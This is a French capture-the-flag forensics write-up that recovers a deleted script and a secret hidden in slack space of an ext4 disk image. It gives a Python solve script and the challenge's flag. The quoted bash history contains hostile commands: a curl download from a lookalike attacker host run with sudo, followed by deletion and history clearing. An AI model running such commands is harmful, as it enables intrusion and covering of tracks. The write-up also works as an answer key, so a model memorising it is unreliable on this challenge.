Aller au contenu
Tous les challenges
Forensics Résolu Moyen · 3 000 m

Between Two Spaces

Image disque ext4 : l'outil supprimé et le secret caché dans le slack.

Auteur
atlas
Scripts
1 fichier

Énoncé (résumé)

Un EDR a signalé une activité suspecte sur backup-srv-03. Un outil de maintenance du collecteur a été supprimé après son exécution, et un secret aurait été caché sur le disque. On fournit l’image disque backup-srv-03.img.gz. Tout est dans l’image, aucun accès réseau n’est nécessaire.

Reconnaissance

  • backup-srv-03.img (256 Mo, une fois décompressée) contient un système de fichiers ext4 brut, sans table de partitions. UUID e45cf08f-1459-4019-800f-45846f787d90, blocs de 4096 octets.
  • fls -r -p montre un seul fichier supprimé : r/r * 276: opt/collector/.maint/cache-sync
  • home/dev/.bash_history retrace l’attaque :
    curl -sf https://cdn.update.wind0ws.net/agent -o /tmp/svc
    sudo /tmp/svc --self-test --out /var/tmp/.cache/blob.enc
    python3 /opt/collector/tools/agent_builder.py ... --out /var/tmp/.cache/relay.pkg
    sudo /opt/collector/.maint/cache-sync --resume
    sudo rm -f /opt/collector/.maint/cache-sync
    history -c
    blob.enc, relay.pkg et les fichiers .chk en surnombre sont des leurres.

Point clé

L’inode 276 n’est plus alloué, mais son extent (bloc 12502) n’a pas été écrasé. On récupère donc le fichier intact avec icat. C’est un script bash qui ne fait rien (exit 0), mais ses commentaires sont la spécification complète du format « resume-v2 » qui a servi à disperser le secret. Le secret est réparti un octet par secteur, dans des secteurs non utilisés de l’image (slack et espace libre), d’où le titre « Between Two Spaces ».

Spécification résumée :

  1. STATE = /var/lib/collector/.state/last.chk, 24 octets <4s4s8sI4s> : magic RST2 | localisateur masqué | nonce | inode de STATE (268) | tag = SHA256(state[0:20])[0:4].
  2. locator-mask = SHA256(machine-id + ":resume-v2")[0:4], puis table_lba = u32le(state[4:8] XOR mask).
  3. À image[table_lba*512] se trouve l’index : "RSV2" | count:u8 | entry_size:u8 (=7), puis count entrées <BIH> (pos, lba, crc). Le CRC est un CRC-16/CCITT-FALSE calculé sur les 5 premiers octets de l’entrée (binascii.crc_hqx(e[:5], 0xffff)).
  4. Pour chaque entrée : ctx = "<fs_uuid>:<inode>:<table_lba>:<nonce_hex>:cache-sync/3.4:<pos>" plain[pos] = image[lba*512] XOR SHA256(ctx)[0]

Exploitation (reproductible)

gunzip -k files/backup-srv-03.img.gz
brew install sleuthkit
fls -r -p files/backup-srv-03.img | grep '\*'           # fichier supprimé : inode 276
icat files/backup-srv-03.img 276 > files/cache-sync.bin # script avec la spec
mkdir files/rec && tsk_recover -e files/backup-srv-03.img files/rec
python3 -I solve.py

Sortie :

24 b'RST2' 268 True
b'BA26{sl4ck_Sp4ce}'

Le tag d’intégrité de STATE est valide, l’inode lu dans STATE (268) correspond bien à last.chk, et tous les CRC des entrées sont corrects.

Script final

solve.py :

import struct, hashlib, binascii
img = open('files/backup-srv-03.img','rb').read()
state = open('files/rec/var/lib/collector/.state/last.chk','rb').read()
mid = open('files/rec/etc/machine-id','rb').read().rstrip(b'\r\n')
fs_uuid = 'e45cf08f-1459-4019-800f-45846f787d90'
H = lambda b: hashlib.sha256(b).digest()
magic, mloc, nonce, ino, tag = struct.unpack('<4s4s8sI4s', state)
print(len(state), magic, ino, tag == H(state[:20])[:4])
mask = H(mid + b':resume-v2')[:4]
lba_t = struct.unpack('<I', bytes(a^b for a,b in zip(mloc,mask)))[0]
t = img[lba_t*512:]
assert t[:4]==b'RSV2'
cnt, es = t[4], t[5]
out = {}
for i in range(cnt):
    e = t[6+i*es:6+(i+1)*es]
    pos, lba, crc = struct.unpack('<BIH', e)
    assert binascii.crc_hqx(e[:5],0xffff)==crc
    ctx = f'{fs_uuid}:{ino}:{lba_t}:{nonce.hex()}:cache-sync/3.4:{pos}'.encode()
    out[pos] = img[lba*512] ^ H(ctx)[0]
print(bytes(out[i] for i in range(cnt)))

Code

import struct, hashlib, binascii, sys
img = open('files/backup-srv-03.img','rb').read()
state = open('files/rec/var/lib/collector/.state/last.chk','rb').read()
mid = open('files/rec/etc/machine-id','rb').read().rstrip(b'\r\n')
fs_uuid = 'e45cf08f-1459-4019-800f-45846f787d90'
H = lambda b: hashlib.sha256(b).digest()
magic, mloc, nonce, ino, tag = struct.unpack('<4s4s8sI4s', state)
print(len(state), magic, ino, tag == H(state[:20])[:4])
mask = H(mid + b':resume-v2')[:4]
lba_t = struct.unpack('<I', bytes(a^b for a,b in zip(mloc,mask)))[0]
t = img[lba_t*512:]
assert t[:4]==b'RSV2', t[:8]
cnt, es = t[4], t[5]
out = {}
for i in range(cnt):
    e = t[6+i*es:6+(i+1)*es]
    pos, lba, crc = struct.unpack('<BIH', e)
    assert binascii.crc_hqx(e[:5],0xffff)==crc, i
    ctx = f'{fs_uuid}:{ino}:{lba_t}:{nonce.hex()}:cache-sync/3.4:{pos}'.encode()
    out[pos] = img[lba*512] ^ H(ctx)[0]
print(bytes(out[i] for i in range(cnt)))